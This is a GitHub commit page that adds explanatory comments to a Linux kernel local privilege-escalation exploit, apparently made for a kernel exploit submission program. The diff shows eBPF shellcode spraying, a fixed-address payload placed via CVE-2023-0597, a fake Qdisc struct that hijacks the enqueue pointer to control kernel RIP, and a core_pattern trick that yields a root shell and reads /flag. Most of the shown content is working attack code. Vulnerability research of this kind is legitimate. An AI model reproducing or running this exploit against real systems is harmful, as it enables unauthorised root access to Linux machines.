Skip to content

Commit

Permalink
Add more comment at mitigation exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
Bing-Jhong Billy Jheng committed Nov 14, 2023
1 parent 1c49101 commit 9d5f467
Show file tree
Hide file tree
Showing 9 changed files with 46 additions and 8 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ void* job(void* x){
dup2(stdinfd,0);
dup2(stdoutfd,1);
dup2(stderrfd,2);
/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
system("cat /flag;echo o>/proc/sysrq-trigger");
execlp("bash","bash",NULL);

Expand Down
Binary file not shown.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
section .text
global foo
global write_to_cpu_entry_area
global handle
foo:
write_to_cpu_entry_area:
mov rsp,rdi
pop r15
pop r14
Expand Down
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@
int x; \
read(0, &x, 1); \
}
extern void foo(void *buf);
extern void write_to_cpu_entry_area(void *buf);
void handle(int s) {}
void set_cpu(int i)
{
Expand All @@ -57,10 +57,20 @@ int sc(void)
{
set_cpu(1);
unsigned int prog_len = 0x900;
/* In current environment, the max instructions in a program is near 0x900
And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably
*/
struct sock_filter table[] = {
{.code = BPF_LD + BPF_K, .k = 0xb3909090},
{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};

/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable
90 nop
90 nop
90 nop
b3 b8 mov bl, 0xb8
*/

for (int i = 0; i < prog_len; i++)
filter[i] = table[0];

Expand All @@ -82,18 +92,23 @@ int sc(void)
for (int i = 0; i < 0x100; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd));
SYSCHK(setsockopt(fd[0], SOL_SOCKET, 26, &prog, sizeof(prog)));
SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)));
}
write(stopfd[0], buf, 1);
read(stopfd[0], buf, 1);
exit(0);
}
}
read(stopfd[1], buf, 0x10);
/* wait for all forks to finish spraying BPF code */
read(stopfd[1], buf, 0x50);
}
char POC[0x1000];

// the payload generated from `tc class delete dev lo classid 1:10`
// to generate payload from `tc` command, we can breakpoint at `netlink_sendmsg`
// after `tc` command is run, and we can dump the payload using this gdb command:
// dump binary memory /tmp/tc_del msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len
// refs: https://man7.org/linux/man-pages/man7/rtnetlink.7.html https://wiki.slank.dev/book/types.html
size_t DEL[] = {
0x0005002900000024, 0x00000000649bcb96,
0x0000000100000000, 0x0001000000010010,
Expand All @@ -119,6 +134,7 @@ void crash(char *cmd)
close(memfd);
while (check_core() == 0)
sleep(1);
/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
*(size_t *)0 = 0;
}
void unshare_setup(uid_t uid, gid_t gid)
Expand Down Expand Up @@ -197,6 +213,10 @@ int main(int argc, char **argv)
tc filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
tc filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:20 indev loo
*/
/*
generated using gdb command after breakpoint on netlink_sendmsg:
dump binary memory /tmp/POC msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len
*/
{
int poc_fd = open("./POC", O_RDONLY);
read(poc_fd, POC, 0x1000);
Expand All @@ -217,8 +237,23 @@ int main(int argc, char **argv)
.sin_addr.s_addr = inet_addr("127.0.0.1"),
};

size_t rop[0x10] = {};
rop[0] = 0xffffffffcc000000 - 0x800;
size_t fake_qdisc_struct[0x10] = {};

/* Overwrite struct Qdisc's enqueue which is function ptr
struct Qdisc {
int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff * *);
struct sk_buff * (*dequeue)(struct Qdisc *);
unsigned int flags;
*/

fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800;

/*
eBPF generated shellcode is lay in this range, we spray eBPF multiple times and summarize it's often near in this page.
It's more reliabe we choose address in the middle of the page
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
*/

int c = socket(AF_INET, SOCK_DGRAM, 0);

if (fork() == 0) // Put payload in fixed kernel address (CVE-2023-0597)
Expand All @@ -228,8 +263,9 @@ int main(int argc, char **argv)
signal(SIGTRAP, handle);
signal(SIGSEGV, handle);
setsid();
foo(rop);
write_to_cpu_entry_area(fake_qdisc_struct);
}
sleep(1);
/* Trigger Qdisc filter our packet and control kernel RIP */
SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr)));
}
Binary file not shown.
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ void* job(void* x){
dup2(stdinfd,0);
dup2(stdoutfd,1);
dup2(stderrfd,2);
/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
system("cat /flag;echo o>/proc/sysrq-trigger");
execlp("bash","bash",NULL);

Expand Down

0 comments on commit 9d5f467

Please sign in to comment.